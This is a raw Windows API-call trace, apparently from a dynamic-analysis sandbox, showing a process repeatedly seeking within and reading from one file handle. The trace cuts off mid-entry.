SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.773] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.774] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.774] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x8e0, lpOverlapped=0x0) returned 1 [0031.774] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.774] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.774] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.774] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.774] GetLastError () returned 0x0 [0031.774] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.774] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.774] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.775] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.775] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x8d8, lpOverlapped=0x0) returned 1 [0031.775] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.775] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.775] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.775] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.776] GetLastError () returned 0x0 [0031.776] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.776] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.776] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.776] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.776] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x8d0, lpOverlapped=0x0) returned 1 [0031.776] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.776] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.776] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.777] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.777] GetLastError () returned 0x0 [0031.777] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.777] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.777] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.777] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.777] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x8c8, lpOverlapped=0x0) returned 1 [0031.777] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.777] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.777] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.778] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.778] GetLastError () returned 0x0 [0031.778] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.778] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.778] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.778] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.778] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x8c0, lpOverlapped=0x0) returned 1 [0031.778] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.778] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.779] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.779] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.779] GetLastError () returned 0x0 [0031.779] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.779] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.779] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.779] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.779] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x8b8, lpOverlapped=0x0) returned 1 [0031.779] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.779] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.780] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.780] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.780] GetLastError () returned 0x0 [0031.780] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.780] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.780] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.780] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.780] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x8b0, lpOverlapped=0x0) returned 1 [0031.780] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.781] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.781] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.781] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.781] GetLastError () returned 0x0 [0031.781] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.781] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.781] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.781] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.781] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x8a8, lpOverlapped=0x0) returned 1 [0031.781] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.782] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.782] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.782] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.782] GetLastError () returned 0x0 [0031.782] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.782] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.782] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.782] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.782] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x8a0, lpOverlapped=0x0) returned 1 [0031.782] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.783] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.783] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.783] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.783] GetLastError () returned 0x0 [0031.783] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.783] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.783] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.783] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.783] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x898, lpOverlapped=0x0) returned 1 [0031.784] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.784] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.784] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.784] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.784] GetLastError () returned 0x0 [0031.784] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.784] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.784] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.784] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.784] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x890, lpOverlapped=0x0) returned 1 [0031.785] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.785] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.785] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.785] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.785] GetLastError () returned 0x0 [0031.785] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.785] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.785] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.785] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.785] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x888, lpOverlapped=0x0) returned 1 [0031.786] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.786] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.786] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.786] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.786] GetLastError () returned 0x0 [0031.786] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.786] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.786] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.786] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.786] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x880, lpOverlapped=0x0) returned 1 [0031.787] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.787] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.787] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.787] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.787] GetLastError () returned 0x0 [0031.787] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.787] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.787] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.787] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.788] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x878, lpOverlapped=0x0) returned 1 [0031.788] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.788] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.788] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.788] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.788] GetLastError () returned 0x0 [0031.788] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.788] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.788] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.788] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.789] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x870, lpOverlapped=0x0) returned 1 [0031.789] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.789] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.789] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.789] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.789] GetLastError () returned 0x0 [0031.789] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.789] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.789] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.789] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.790] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x868, lpOverlapped=0x0) returned 1 [0031.790] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.790] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.790] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.790] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.790] GetLastError () returned 0x0 [0031.790] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.790] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.790] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.790] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.791] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x860, lpOverlapped=0x0) returned 1 [0031.791] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.791] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: 